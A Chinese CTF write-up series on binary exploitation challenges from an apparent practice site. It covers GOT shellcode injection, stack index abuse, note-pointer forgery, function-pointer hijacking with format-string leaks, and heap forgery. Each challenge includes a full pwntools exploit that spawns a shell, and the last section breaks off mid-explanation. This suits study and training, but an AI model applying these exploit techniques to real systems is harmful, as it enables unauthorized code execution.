0x08048883 : jmp dword ptr [ebx]
0x080484f8 : leave ; ret
0x080481a8 : mov ah, 0xfe ; ret
0x08048557 : mov al, byte ptr [0xc9010804] ; ret
0x080484f3 : mov al, byte ptr [0xd0ff0804] ; leave ; ret
0x08048530 : mov al, byte ptr [0xd2ff0804] ; leave ; ret
0x08048554 : mov byte ptr [0x804a040], 1 ; leave ; ret
0x08048528 : mov dword ptr [esp + 4], eax ; mov dword ptr [esp], 0x804a040 ; call edx
0x08048578 : mov dword ptr [esp], 0x8049f10 ; call eax
0x080484ef : mov dword ptr [esp], 0x804a040 ; call eax
0x0804852c : mov dword ptr [esp], 0x804a040 ; call edx
0x0804872e : mov eax, 0 ; leave ; ret
0x080484c0 : mov ebx, dword ptr [esp] ; ret
0x0804879f : pop ebp ; ret
0x0804879c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080483cd : pop ebx ; ret
0x0804879e : pop edi ; pop ebp ; ret
0x0804879d : pop esi ; pop edi ; pop ebp ; ret
0x080481aa : ret
0x08048608 : ret 0xd089
0x0804850e : ret 0xeac1
Unique gadgets found: 24
'''
# leave_msg
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found****
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments****
这题算是有点骚东西的题吧，首先他有几个段是有rwx权限的，首先可能想到的是会用到shellcode
主要就只分析main函数就行了：
int __cdecl main()
{
int v0; // eax
signed int i; // [esp+4h] [ebp-424h]
int index; // [esp+8h] [ebp-420h]
char nptr; // [esp+Ch] [ebp-41Ch]
char buf; // [esp+1Ch] [ebp-40Ch]
char v6; // [esp+24h] [ebp-404h]
unsigned int v7; // [esp+41Ch] [ebp-Ch]
v7 = __readgsdword(0x14u);
setbuf(stdout, 0);
setbuf(stdin, 0);
while ( 1 )
{
v0 = num++;
if ( v0 > 2 )//只能输入三次
break;
puts("I'm busy. Please leave your message:");
read(0, &buf, 0x400u);
puts("Which message slot?");
read(0, &nptr, 0x10u);
index = atoi(&nptr);
if ( strlen(&buf) > 8 )//strlen函数遇到\0就停止计算长度，可通过输入\0绕过
{
puts("Message too long, truncated.");
v6 = 0;
}
if ( index <= 64 && nptr != '-' )
//atoi函数导致index仍然可以为负数，只需要输入“ -x”，
//atoi会跳过字符串前面的空格或者换行符，直到遇到数字才进行转换
list[index] = strdup(&buf);
//strdup会自动申请一块大小和buf一样的堆块，把buf内容复制进堆块
//接着把堆地址赋值给list[index]
else
puts("Out of bound.");
}
puts("Here is your messages:");
for ( i = 0; i <= 63; ++i )
{
if ( list[i] )
printf("%d: %s\n", i, list[i]);
}
puts("Goodbye");
return 0;
}
由此可以见，0x804a000--0x804b000居然是可以执行的，这里有个骚的地方是，可以在got表写入可执行的代码，在调用某个函数的时候就可以间接执行你的shellcode，但是这里限制了8个字节的长度，那么可写入的shellcode就有限了，仅能做间接跳转使用
这题的思路是这样的：
1、由于存在数组负数越界，就可以往got表修改内容，将got表改成一段汇编指令
2、由于可以绕过8字节检查，通过添加\0把shellcode写进栈里面
3、通过got表中的汇编指令，执行shellcode
首先构造一个输入：`"a"*8+"\x00"+"b" * 8`
这样可以让`"a"*8`被存入puts的got表中，同时绕过八个字节长度的限制，将"b" * 8写入栈中
接下来就是调试，我们需要调试出"b" _8到esp的距离，从而写一条这样的指令`add esp,xxx;jmp esp;`让程序的执行流程到"b" _
8的地方
在第一次输入后的，再第二次call puts函数前下个断点：0x0804861d
在此处下断点，可以得到我们想要看到的栈布局，从而计算出字符串离esp的偏移
si进入call puts：
这里我们就可以看到：输入的字符串离esp的偏移是0x30，如果puts的got表中的内容是`add esp,0x30;jmp esp;`那么这里call
puts的时候就会直接执行这条语句，导致esp的位置指向输入字符串buf的位置
要指向shellcode的话就往下移动 len(jump)+1，就可以指向shellcode了
这题的主要难点应该是需要绕过平常做题的思维局限，got不一定得写地址，在特定的条件下还能写shellcode进行执行，另外就是调试的要熟练，才能找出0x30的偏移
exp：
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./leave_msg"
context.binary=bin_elf
elf = ELF(bin_elf)
libc = ELF("./libc-2.23.so.i386")
if sys.argv[1] == "r":
p = remote("hackme.inndy.tw",7715)
elif sys.argv[1] == "l":
p = process(bin_elf)
#------------------------------------- def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(p,a,s):
return p.sendafter(a,s)
def debug(addr=''):
gdb.attach(p,'')
def getshell():
p.interactive()
#------------------------------------- shellcode = asm(shellcraft.sh())
jump = asm("add esp,0x36;jmp esp;")
sda(p,"I'm busy. Please leave your message:\n",jump+"\x00"+shellcode)
sda(p,"Which message slot?"," -16")
getshell()
# stack
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
这保护全开，有点少见
这是一个模拟栈的pop和push操作的程序：
主要用到的就是pop函数和push函数：
int __cdecl stack_pop(_DWORD *a1)
{
*a1 += &unk_1FBF + 0xFFFFE040;
return *(&dword_1FC4[-2032] + &a1[*a1]);
}
int __cdecl stack_push(int *a1, int a2)
{
int result; // eax
result = *a1;
*a1 += &(&GLOBAL_OFFSET_TABLE_)[-0xFEu] - 0xFFFFFFFF;
a1[result + 1] = a2;
return result;
}
但是反编译出来的东西有点迷，不太助于分析，直接看汇编：
.text:00000717 public stack_pop
.text:00000717 stack_pop proc near ; CODE XREF: main+10C↓p
.text:00000717
.text:00000717 arg_0 = dword ptr 8
.text:00000717
.text:00000717 ; __unwind {
.text:00000717 push ebp
.text:00000718 mov ebp, esp
.text:0000071A ; 2: *a1 += &unk_1FBF + 0xFFFFE040;
.text:0000071A call __x86_get_pc_thunk_ax
.text:0000071F add eax, 18A1h
.text:00000724 mov eax, [ebp+arg_0]
.text:00000727 mov eax, ds:(_GLOBAL_OFFSET_TABLE_ - 1FC0h)[eax]
.text:00000729 lea edx, (unk_1FBF - 1FC0h)[eax]
.text:0000072C mov eax, [ebp+arg_0]
.text:0000072F mov ds:(_GLOBAL_OFFSET_TABLE_ - 1FC0h)[eax], edx
.text:00000731 ; 3: return *(&dword_1FC4[-2032] + &a1[*a1]);
.text:00000731 mov eax, [ebp+arg_0]
.text:00000734 mov edx, ds:(_GLOBAL_OFFSET_TABLE_ - 1FC0h)[eax]
.text:00000736 mov eax, [ebp+arg_0]
.text:00000739 mov eax, ds:(dword_1FC4 - 1FC0h)[eax+edx*4]
.text:0000073D pop ebp
.text:0000073E retn
.text:0000073E ; } // starts at 717
.text:0000073E stack_pop endp
-----------------------------------------------------------------
.text:000006F0 public stack_push
.text:000006F0 stack_push proc near ; CODE XREF: main+DC↓p
.text:000006F0
.text:000006F0 arg_0 = dword ptr 8
.text:000006F0 arg_4 = dword ptr 0Ch
.text:000006F0
.text:000006F0 ; __unwind {
.text:000006F0 push ebp
.text:000006F1 mov ebp, esp
.text:000006F3 ; 4: result = *a1;
.text:000006F3 call __x86_get_pc_thunk_ax
.text:000006F8 add eax, 18C8h
.text:000006FD mov eax, [ebp+arg_0]
.text:00000700 mov eax, ds:(_GLOBAL_OFFSET_TABLE_ - 1FC0h)[eax]
.text:00000702 ; 5: *a1 += &(&GLOBAL_OFFSET_TABLE_)[-0xFEu] - 0xFFFFFFFF;
.text:00000702 lea ecx, (_GLOBAL_OFFSET_TABLE_+1 - 1FC0h)[eax]
.text:00000705 mov edx, [ebp+arg_0]
.text:00000708 mov [edx], ecx
.text:0000070A ; 6: a1[result + 1] = a2;
.text:0000070A mov edx, [ebp+arg_0]
.text:0000070D mov ecx, [ebp+arg_4]
.text:00000710 mov [edx+eax*4+4], ecx
.text:00000714 ; 7: return result;
.text:00000714 nop
.text:00000715 pop ebp
.text:00000716 retn
.text:00000716 ; } // starts at 6F0
.text:00000716 stack_push endp
pop函数中：`mov ds:(_GLOBAL_OFFSET_TABLE_ - 1FC0h)[eax], edx`
可以发现pop函数在进行操作的时候，实际上是以edx的值为基准的
在push函数中：`mov [edx+eax*4+4], ecx`,同样的，push操作也是和edx有关
进行gdb调试看看到底是怎么样：
在进入pop函数前下断点`.text:00000717 push ebp`
可以发现，【eax-1】是代表了进行pop操作的下标-1，而下标索引值又赋值给了edx，最后edx又存到了【eax】的地方：
由此可见，0xfffc7548存着索引的值
si一步步执行
继续跟进，看看执行push函数的时候发生了什么
在进入push函数前下断点：`.text:000006F0 push ebp`
同样的对下标进行了+1的操作，接着ecx存储着索引，ecx为1，接着会发现，ebp+0xc的位置的值竟然被赋值给了ecx，接着ecx就被赋值到了【edx+eax*4+4】的地方去
而【edx+eax*4+4】的地址恰好就是0xfffc7548！也就是说pop和push函数用的下标索引的地址是同一个，那么
如果先pop一下，再push(n),再一次pop的时候，就能把下标为n的地方的内容给pop出来
改变了pop和push的索引基准，之后的每一次pop或者push，都会在n的基础上进行
接下来的利用思路就简单了，就是找到这个n，把main函数的ret地址给pop出来，泄漏一波得到libc的偏移，从而可以得到onegadget地址，接着再push(onegadget)把main的返回地址改成one更好，就能实现getshell了
那么怎么找到这个n的具体的值？
在main函数的结尾处的`.text:00000916 retn`下一个断点，来看看main将要结束时候的栈布局
发现，main在退出的时候，返回地址是0xfffc76bc
从而算出：
0xfffc76bc-0xfffc7548 = 0x174
0x174/4 = 0x5d
那么这个n就是0x5d，也就是93了
接下来的操作就是首先pop()一下，push(93),pop()一下泄漏出__libc_start_main+247的地址，从而得到libc基址
，也就能求出onegadget，这时在push(onegadget)，然后输入x退出程序就能getshell了
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
from os import *
context.log_level = "debug"
bin_elf = "./stack"
context.binary=bin_elf
elf = ELF(bin_elf)
libc = ELF("./libc-2.23.so.i386")
#libc = elf.libc
if sys.argv[1] == "r":
p = remote("hackme.inndy.tw",7716)
elif sys.argv[1] == "l":
p = process(bin_elf)
#------------------------------------- def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(p,a,s):
return p.sendafter(a,s)
def debug(addr,PIE=False):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
def getshell():
p.interactive()
#--------------------------------------------
def push(num):
ru("Cmd >>\n")
sl("i "+str(num))
def pop():
ru("Cmd >>\n")
sl("p")
ru("Pop -> ")
val=ru('\n')[:-1]
print val
print "pop-->"+hex(int(val)&0xffffffff)
return int(val)&0xffffffff
def exit():
p.sendline('x')
#gdb.attach(p)
pause()
pop()
push('93')
libc_base=pop()-libc.symbols['__libc_start_main']-247
one = libc_base+0x5fbc5#远程端:0x5faa5
push(str(one- (1<<32)))
ru("Cmd >>\n")
sl("x")
getshell()
这题的重点还是在于调试，跟着汇编看流程，做这题深刻意识到了IDA不是万能的，反编译出来的汇编指令跟gdb动态调试的居然会不同orz
# very_overflow
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
只开了个nx,看到这熟悉的菜单选择功能，还以为是一道堆的题目，但实际上不是，是一个在栈上操作一个结构体的题
void vuln()
{
NOTE buffer[128]; // [esp+1Ch] [ebp-420Ch]
int loop_switch; // [esp+421Ch] [ebp-Ch]
loop_switch = 1;
memset(buffer, 0, 0x4200u);
while ( loop_switch )
{
switch ( choose() )
{
case 1:
add_note(buffer);
break;
case 2:
edit_note(buffer);
break;
case 3:
show_note(buffer);
break;
case 4:
dump_notes(buffer);
break;
case 5:
loop_switch = 0;
break;
default:
puts("Invalid option!");
break;
}
}
}
结构体：
struct NOTE {
struct NOTE* next;//指向下一个note
char data[128];
};
这个结构体在栈上面分布，由于没有限制note的数量，一开始的想法是想疯狂add，一直爆到他栈底的返回地址附近，但发现栈的大小是0x420c，这就太大了，不好操作
add（“aa”）一下，随便添加一个note，进入gdb看看情况
通过show（0）的功能，可以看到note的next，也就可以泄漏出note结构体的存储地址
这里可以看到我们创建的第一个note在栈里面的情况，首先存储了next，接着就是data的内容，而根据next的计算方法：`node->next =
(node + strlen(node->data) + 5)`
可以看到note0的next是0xffe8b514，刚刚好指向了data后面的一个字的位置
又根据程序的edit函数：
void __cdecl edit_note(NOTE *node)
{
int v1; // ST04_4
NOTE *nodea; // [esp+30h] [ebp+8h]
printf("Which note to edit: ");
v1 = read_integer();
nodea = find_node_by_id(node, v1);
if ( nodea )
{
printf("Your new data: ");
fgets(nodea->data, 128, stdin);
puts("Done!");
}
}
发现可以溢出修改note0的data，从而可以修改note0的next所指向的地方，这样一来也就可以自己伪造note了
接下来再看看，note0往下0x4200位置的地方是什么东西：
可以看到，这下面就是main函数的返回地址，这样一来利用的思路就很清晰了，先通过伪造note，把next一直指向到`__libc_start_main+247`，然后通过show，把他的地址给泄漏出来，从而得到libc
接着再使得next指向`(__libc_start_main+247)-0x8`的位置，这时再添加新的note，就会改变`__libc_start_main+247`的值（改为onegadget），在程序正常退出的时候就会改变程序的执行流程从而getshell
这里有个小细节需要注意的：
show函数是根据id来show出内容的，因此需要注意得看dump函数中的id，以确定需要泄漏的note在哪个位置
而add函数则是 通过node->next和 node->data[0]来添加新的note的
exp如下：
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./very_overflow"
context.binary=bin_elf
elf = ELF(bin_elf)
libc = ELF("./libc-2.23.so.i386")
#libc = elf.libc
if sys.argv[1] == "r":
p = remote("hackme.inndy.tw",7705)
elif sys.argv[1] == "l":
p = process(bin_elf)
#------------------------------------- def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(p,a,s):
return p.sendafter(a,s)
def getshell():
p.interactive()
#-------------------------------------
def add(contant):
sla(p,"Your action: ","1")
sla(p,"Input your note: ",contant)
def edit(index,contant):
sla(p,"Your action: ","2")
sla(p,"Which note to edit: ",str(index))
sla(p,"Your new data: ",contant)
def show(index):
sla(p,"Your action: ","3")
ru("Which note to show: ")
sl(str(index))
def show_all():
sla(p,"Your action: ","4")
gdb.attach(p)
pause()
add("aa")
show(0)
ru("Next note: 0x")
note = int(p.recv(8),16)
print "next note is-->",hex(note)
pause()
edit(0,"a"*4+p32(note+0x4200-0x20))
pause()
add("b"*2)
pause()
edit(2,"b"*4+p32(note+0x4200-0x20+0x40+8))
pause()
show(4)
ru("Next note: 0x")
libc_main = int(p.recv(8),16)
libc_base= libc_main-0x18637
#这个地方有点迷，泄漏出来是实际上应该是__libc_start_main_ret
#但libc.symbols会提示找不到符号
#去libcdatabase查了一波，得到了0x18637的偏移
one = libc_base+0x5fbc5#远程端:0x5faa5,本地:0x5fbc5
print "onegadget---->",hex(one)
print "libc_base-->",hex(libc_base)
pause()
edit(2,"b"*4+p32(note+0x4200-0x20+0x40))
pause()
add(p32(one)*2)
sla(p,"Your action: ","5")
getshell()
做完这题后去查了别的师傅的wp，发现他们的做法都不一样，有的是改got表的操作，有的是return2dl_resolve的操作，真是太秀了,他们的wp在网上搜一下也很容易找到
# notepad
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
常规保护机制nx+canary
这是一道堆漏洞利用的题目，题目逻辑略显复杂，但大部分都是花里胡哨的没用的逻辑，进去会先看到一个菜单，直接进入notepad进行分析，其他的都是没用的
首先看这个
int notepad_new()
{
char *v1; // eax
char *v2; // ST1C_4
char **v3; // [esp+4h] [ebp-14h]
signed int n; // [esp+8h] [ebp-10h]
v3 = notepad_find_slot();
if ( !v3 )
return puts("space is full");
printf("size > ");
n = readint();
if ( n <= 0 || n > 0x400 )
return puts("invalid size");
v1 = malloc(n + 16);
v2 = v1;
*(v1 + 3) = n;
*(v1 + 2) = 1;
*v1 = notepad_show;
*(v1 + 1) = notepad_destory;
printf("data > ");
fgets(v2 + 16, n, stdin);
*v3 = v2;
return printf("your note id is %d\n", (v3 - notes) >> 2);
}
可以看到，new函数，可以分配0x10~0x410大小的chunk，在chunk中有以下结构：
struct note{
notepad_show *notepad_show;//存储一个函数指针，用于输出内容chunk
notepad_destroy *notepad_destroy;//存储一个函数指针，用于清空data
int flags;//标记，判断是否可以open进行编辑
int n;//data数组的大小
data[n]//note的内容
}
这个程序大量使用了函数指针的方式，这就有可能造成函数指针窜用的漏洞
继续看open函数：
unsigned int notepad_open()
{
int v0; // ST1C_4
int *v2; // [esp+4h] [ebp-1024h]
int v3; // [esp+8h] [ebp-1020h]
const char *v4; // [esp+10h] [ebp-1018h]
const char *v5; // [esp+14h] [ebp-1014h]
int v6; // [esp+18h] [ebp-1010h]
char s; // [esp+1Ch] [ebp-100Ch]
unsigned int v8; // [esp+101Ch] [ebp-Ch]
v8 = __readgsdword(0x14u);
v2 = notepad_choose();
if ( v2 )
{
v3 = *v2;
puts("note opened");
if ( *(v3 + 8) && yes_or_no("edit") )
{
printf("content > ");
fgets(&s, 0x1000, stdin);
strncpy((v3 + 16), &s, *(v3 + 12));
puts("note saved");
}
v4 = "show note";
v5 = "destory note";
v6 = 0;
v0 = menu(&v4);//看下面menu函数的具体实现
(*(v3 + 4 * (v0 - 1)))(v3);//这里可以造成后一个chunk非法访问前一个chunk的内容
puts("note closed");
}
return __readgsdword(0x14u) ^ v8;
}
int __cdecl menu(int a1)
{
int result; // eax
int i; // [esp+8h] [ebp-10h]
int v3; // [esp+Ch] [ebp-Ch]
for ( i = 0; *(4 * i + a1); ++i )
printf("%c> %s\n", i + 97, *(4 * i + a1));
printf("::> ");
v3 = getchar() - 'a';//仅仅简单的相对应‘a’进行判断，如果输入比‘a’小的字符一样可以通过检验
freeline();
if ( v3 < i )
result = v3 + 1;
else
result = 0;
return result;
}
通过上的分析，我们可以通过构造chunk的内容来实现改变程序流程
思路是这样的：
假设有chunk0和chunk1，使得chunk0的data的最后一个字长内容为一个函数puts的地址，然后在open chunk1，再选择 “show
note destory note"的时候输入”^”(也就是ASCII的94)
那么，当执行到`(*(v3 + 4 * (v0 -1)))(v3);`的时候，就是执行函数puts（v3），通过这样一种方式实现了改变执行流程执行了其他的函数
这里可以做到执行任意地址，但是参数v3还没法控制，默认还是一个堆的地址，这个时候就需要用到堆的overlap的操作，先free
chunk0和chunk1，再重新分配使得chunk1的内容可以任意改，从而控制参数的内容
exp如下：
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./notepad"
context.binary=bin_elf
elf = ELF(bin_elf)
if sys.argv[1] == "r":
libc = ELF("./libc-2.23.so.i386")
p = remote("hackme.inndy.tw",7713)
elif sys.argv[1] == "l":
libc = elf.libc
p = process(bin_elf)
#------------------------------------- def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
return p.recv()
def sp():
print "---------暂停中---------"
return raw_input()
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(p,a,s):
return p.sendafter(a,s)
def getshell():
p.interactive()
#------------------------------------- def new(size,content):
ru("::> ")
sl('a')
ru("size > ")
sl(str(size))
ru("data > ")
sl(content)
def open_edit(index,content,choose = 'a'):
ru("::> ")
sl('b')
ru("id > ")
sl(str(index))
ru("edit (Y/n)")
sl("y")
ru("content > ")
sl(content)
ru("::> ")
sl(choose)
def open_not_edit(index,choose = 'a'):
ru("::> ")
sl('b')
ru("id > ")
sl(str(index))
sl("n")
ru("::> ")
sl(choose)
def delete(index):
ru("::> ")
sl('c')
rc()
sl(str(index))
def setread(index):
ru("::> ")
sl('d')
rc()
sl(str(index))
def keepsec(index):
ru("::> ")
sl('e')
rc()
sl(str(index))
gdb.attach(p)
sp()
sla(p,"::> ","c")
new(0x60,"aaaa")#chunk0
new(0x60,"bbbb")#chunk1
new(0x60,"cccc" )#chunk2
payload = "a"*0x5c + p32(elf.symbols['free'])
open_edit(0,payload)
open_edit(1,"bbbb",'^')#'a'-3 = 97-3='^'
delete(0)
print "printf------------------->",hex(elf.plt['printf'])
payload1 = "a" * 0x5c + p32(elf.plt['printf'])
payload1 += "a"*8 + "%1063$p\x00"#泄露出main的返回地址
new(0xe0 - 16,payload1)
sp()
open_not_edit(1,'^')
sp()
leak = int(p.recv(10),16)
print "leak-------->",hex(leak)
libc_base = leak - 0x18637#__libc_start_main_ret偏移
print "libc_base----------->",hex(libc_base)
system = libc_base+libc.symbols['system']
print "system 0ffset--------->",hex(libc.symbols['system'])
print "system --------->",hex(system)
delete(0)
payload2 = 'a'*0x5c + p32(system)
payload2 += "a"*8 + '/bin/sh\x00'
new(0xe0 - 16,payload2)
open_not_edit(1,'^')
getshell()
这里需要注意的是的，通过调用printf(%1063$p)泄漏出的main函数的返回地址，从而泄漏了libc，这个1063是通过调试得来的，在执行`open_not_edit(1,'^')`之前，往printf函数下个断点，在执行printf(%1063$p)之前查看栈的情况，发现0xff952cb0是存储格式化字符串参数的地方
那么疯狂往下找main函数的返回地址，发现在0xff953d4c处可以泄漏出__libc_start_main+247
从而计算出偏移的位置是1063或者1067
另外这题用onegadget似乎不行，只能老老实实构造system(/bin/sh)
# petbook
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled //查了一波这个保护机制，发现卵用不大，对解题无影响
这题的逻辑稍微复杂,首先让你进行登录，如果没有账号的话就需要去注册一个账号
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
if ( syscall(318LL, &magic, 4LL, 0LL) != 4 )
{
puts_0("Can not generate random");
exit(1);
}
srandom(magic);
v3 = base64_table;
do
{
v4 = random();
v5 = *v3;
v6 = v4 % 64;
*v3 = base64_table[v6];
base64_table[v6] = v5;
++v3;
}
while ( v3 != &aBcdefghijklmno[63] );
while ( 1 )
{
while ( 1 )
{
v7 = main_menu();
if ( v7 != 2 )
break;
user_login();
}
if ( v7 == 3 )
exit(0);
if ( v7 == 1 )
user_reg();
else
puts_0("Invalid option");
}
在注册账号的时候，会有一个用户的结构体：
这是我用IDA自己创建的，方便逆向理解
00000000 USER struc ; (sizeof=0x218, mappedto_9)
00000000 uid dd ?
00000004 name db 256 dup(?)
00000104 pwd db 256 dup(?)
00000204 flag dd ?//用于标识是否为管理员用户
00000208 pet dq ? ; offset
00000210 post dq ? ; offset
00000218 USER ends
这些结构体的成员都存在一个堆块里面
注册成功后登录，进入用户界面：
用户有写post、查看post内容，编辑post，改密码，领取pet，给pet改名，丢弃pet的功能，
然后pet也有一个对应的结构体：
00000000 PET struc ; (sizeof=0x14, mappedto_10)
00000000 pid dq ?
00000008 petname dq ? //存储指向petname的堆地址
00000010 pet_type db 4 dup(?)
00000014 PET ends
这题除了逻辑比较复杂，还存在很多的堆的创建和时候，我们来理一下：
* 注册用户的时候，创建大小为0x218的堆块来存储用户信息
* 创建post的时候，创建0x110的chunk用于存储uid、title、post指针，创建任意大小的chunk存储post内容
* 领取pet的时候，创建0x10001的chunk存储pet的名字，创建0x18的chunk存储pet的uid和name的指针和type
总结来说就只有post的时候是可以控制创建任意大小的chunk 的
再来看看哪些地方有free 掉chunk的操作：
* 在edit post的时候，如果编辑的size大于原来的，那么realloc函数就会把原来的post所在的chunk给free掉重新生成大的chunk存储post的内容
* 在 abandon pet的时候，会把存储pet的信息的chunk给free掉，同时清空user的pet成员
通过上面的分析，不难看出，我们的利用点主要是edit
post操作，如果创建一个0x218的post，接着edit它，将size改大，那么这个0x110的chunk就会进入unsorted bin
，这个时候如果进行注册user，那么user的结构体的各个成员就能预先设定好，从而有操作的空间
核心的思路就是：通过构造post，然后在edit post使得post内容的chunk进入unsorted
bin，接着新建用户，操作user结构体的各个成员，伪造pet的chunk和内容，达到任意读写的目的
由于本题中有很多这样的magic的检查：
if ( (magic ^ *current_user) & 0xFFFF0000 )
{
puts_0("corrupted object detected");
exit(1);
}
因此我们要写泄漏出magic来，才能方便进行操作
分四步走：
* 第一步:通过post伪造user,泄露出堆基地址
* 第二步:伪造pet,泄露出puts,从而泄露libc
* 第三步:泄露出magic,绕过检查,修改free的got表为system
* 第四步:通过free(/bin/sh\x00)来getshell
exp如下
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./petbook"
context.binary=bin_elf
elf = ELF(bin_elf)
if sys.argv[1] == "r":
libc = ELF("./libc-2.23.so.x86_64")
p = remote("hackme.inndy.tw",7710)
elif sys.argv[1] == "l":
libc = elf.libc
p = process(bin_elf)
#------------------------------------- def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc():
return p.recv()
def sp():
print "---------暂停中---------"
return raw_input()
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(p,a,s):
return p.sendafter(a,s)
def getshell():
p.interactive()
#------------------------------------- def register(name,pwd):
sla(p," >>\n","1")
sla(p," >>\n",name)
sla(p," >>\n",pwd)
def login(name,pwd):
sla(p," >>\n","2")
sla(p," >>\n",name)
sla(p," >>\n",pwd)
def exit():
sla(p," >>\n","0")
def post(title,length,content):
sla(p," >>\n","1")
sla(p," >>\n",title)
sla(p," >>\n",str(length))
sla(p," >>\n",content)
def edit_post(id,title,size,content):
sla(p," >>\n",'3')
sla(p,"Post id >>\n",str(id))
sla(p,"New title >>\n",title)
sla(p,"New content size >>\n",str(size))
sla(p,"Content >>\n",content)
def adopt(name):
sla(p," >>\n",'5')
sla(p,"Name your pet >>\n",name)
def rename(name):
sla(p," >>\n",'6')
sla(p,"Name your pet >>\n",name)
def abandom():
sla(p," >>\n",'7')
#gdb.attach(p,"tracemalloc on")
sp()
userdb=0x000603158
#第一步:通过post伪造user,泄露出堆基地址
payload1= 'a'*0x208 + p64(userdb-0x10)
register('user1','user1')
login('user1','user1')
post('post1',0x230,payload1) #post1
edit_post(2,'post1',0x240,'post1')#post的uid是2
exit()
register('user2','user2')
login('user2','user2')
p.recvuntil("Pet Type: ")
leak_heap = u64(p.recvline().strip('\n').ljust(8,'\x00'))
heap_base = leak_heap - 0x230#通过gdb调试得出的0x230偏移,得到堆的基地址
print "leak_heap--------------->",hex(leak_heap)
print "heap_base--------------->",hex(heap_base)
sp()
#第二步:伪造pet,泄露出puts,从而泄露libc
fake_pet = heap_base + 0x940#为了泄露出puts,需要构造一个假的的pet
#0x940偏移是加上post后产生的0x120堆块得到的,使得fake_pet指向pust的got
magic = 0x603164
payload2 = 'a'*0x208 + p64(fake_pet)
post('post2',0x100,p64(elf.got["puts"])*2)#uid = 4,post2
post('post3',0x230,payload2)#uid = 5,post3
edit_post(5,'post3',0x240,'post3')
exit()
register('user3','user3')
login('user3','user3')
p.recvuntil("Pet Name: ")
leak_libc = u64(p.recvline().strip('\n').ljust(8,'\x00'))
libc_base = leak_libc - libc.symbols['puts']
system = libc_base+libc.symbols['system']
print "libc_base----------->",hex(libc_base)
exit()
#第三步:泄露出magic,绕过检查,修改free的got表为system
login('user2','user2')
edit_post(4,'post2',0x100,p64(magic)*4)
exit()
login('user3','user3')
p.recvuntil("Pet Name: ")
leak_magic = u64(p.recvline().strip('\n').ljust(8,'\x00'))
print "magic----------------->",hex(leak_magic)
fake_magic = leak_magic + 0x600000000
payload3 = p64(fake_magic) + p64(elf.got['free'])
payload4 = 'a'*0x208 + p64(fake_pet)
post('post4',0x230,payload4) #uid = 7,post4
edit_post(7,'post4',0x240,'post4')
exit()
register('user4','user4')
login('user2','user2')
edit_post(4,'post2',0x100,payload3)
exit()
login('user4','user4')
rename(p64(system))
exit()
#第四步:通过free(/bin/sh\x00)来getshell
register('user5','user5')
login('user5','user5')
adopt('/bin/sh\x00')
abandom()
getshell()
这题主要的难点在于程序逻辑复杂，东西一多就难以整理出对解题有用的线索，在做这题的时候花了很多时间，同时光看ida是不够的，还得边调试边加深对程序逻辑的理解。另外在堆利用方面这题也算是比较新颖，值得学习
这题应该可以用onegadget来做，但是不知道为什么没法getshell，可能是玄学环境问题吧
# mailer
32位程序，只开了个canary保护
程序逻辑比较简单
只有两个函数
write：
可以看到，这里使用了gets函数，则会有堆溢出的漏洞，
dump：
这个函数肯定是用于泄漏地址的，可以看到：`fwrite(mail + 18, 1u, mail[17], stdout);`
假如我们修改了length，那么由此泄漏出堆的地址
程序的主要逻辑就只有这些，我们会发现，没有free函数，那么就没法使用uaf等操作了
可利用的线索有：
* 创建mail的时候存在堆溢出，可修改length，可泄漏地址
* 创建mail的时候，写content时可溢出修改至top chunk
* 没开NX，堆可执行代码
由此我们的思路就清晰了，步骤如下
* 新建两个mail，创建chunk1和chunk2，其中chunk1输入title时写入shellcode，同时溢出到length，将其改为0x70，在使用dump功能的时候就可以把chunk1的堆地址泄漏出来
* 同时在chunk2中输入content的时候，溢出到top chunk，修改size为0xffffffff
* 再一次申请一个新的mail，大小为`elf.got["printf"] - top- 72-16`
